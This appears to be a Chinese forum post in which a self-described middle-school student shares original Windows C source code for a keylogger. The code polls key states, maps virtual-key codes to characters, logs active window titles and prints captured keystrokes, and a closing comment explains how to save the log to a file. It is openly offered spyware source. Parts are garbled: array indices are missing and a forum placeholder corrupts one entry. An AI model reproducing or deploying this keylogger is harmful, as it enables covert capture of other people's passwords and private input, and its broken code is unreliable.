1、申 请 I D:江少
2、个人邮箱:321648591@qq.com
3、原创技术文章:c语言键盘记录源码
本人初中狗一名,仅抱着对计算机的热爱,编写各种程序,软件,C语言。
#include <windows.h>
#include <stdio.h>
// 一些全局变量
// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// 大写字母键 & 其它一些键
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"[ DISCUZ_CODE_0 ]quot;,
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
HWND PreviousFocus=NULL;
// 数据结束
// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// 函数原型声明结束
// 主要的过程
int main()
{
KeyLogger(); // 进行键盘记录
return 0; // 程序退出
}
// 主要过程结束
//-------------------------------------------------------------------------
// 目的: 要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
PreviousFocus = hFocus; // 保存旧活动的 Windos 焦点
int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // 活动窗口标题检索
if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
{
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
}
free(WindowCaption); // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化
//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0}; // 关键声明
int i,x;
char KeyBuffer[600]; // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;
// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));
while(TRUE) // 创造一个死循环(无限次获得用户的键盘内容)
{
Sleep(8); // 避免过度占用CPU
if (IsWindowsFocusChange()) //检查活动窗口标题
{
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
printf("%s\r\n",KeyBuffer); // 显示按下的这个键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
}
}
for(i=0;i<95;i++) // 检查视觉的循环
{
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
x = SpecialKeys; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
// 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
{
bKstate[x] = 1; //大写字母 A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
{
bKstate[x] = 2; //小写字母 a-z
}
else
if (shift < 0) // 按下 shift 键
{
bKstate[x] = 3; //大写字母 A-Z
}
else
bKstate[x] = 4; //小写字母 a-z
}
else
{
if (bKstate[x] != 0) // 没有检测到的组合键
{
state = bKstate[x]; // 检索当前状态
bKstate[x] = 0; // 重置当前状态
if (x == 8) // 如果检测到删除键
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
continue; // 启动一个新的循环
}
else
if (strlen(KeyBuffer) > 550) // 缓冲区满
{
printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
continue; // 开始一个新循环
}
else
if (x == 13) // 如果检测到Enter键
{
if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
{
continue; // 开始一个新循环
}
printf("%s<Enter>\r\n",KeyBuffer); // 检索Enter键和其它键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 显示Enter键
continue; // 开始一个新循环
}
else
if ((state%2) == 1) //必须是大写字符
{
strcat(KeyBuffer,UpperCase); // 存储一个键到缓冲区
}
else
if ((state%2) == 0) // 必须是小写字符
{
strcat(KeyBuffer,LowerCase); // 存储一个键到缓冲区
}
}
}
}// 结束for循环
}// 结束while循环
return TRUE; // 返回一个值并结束函数
}// 结束键盘记录
// 结束文件
//如果想把结果保存下来,只需要把其中的输出函数替换为输出到文件就可以了
|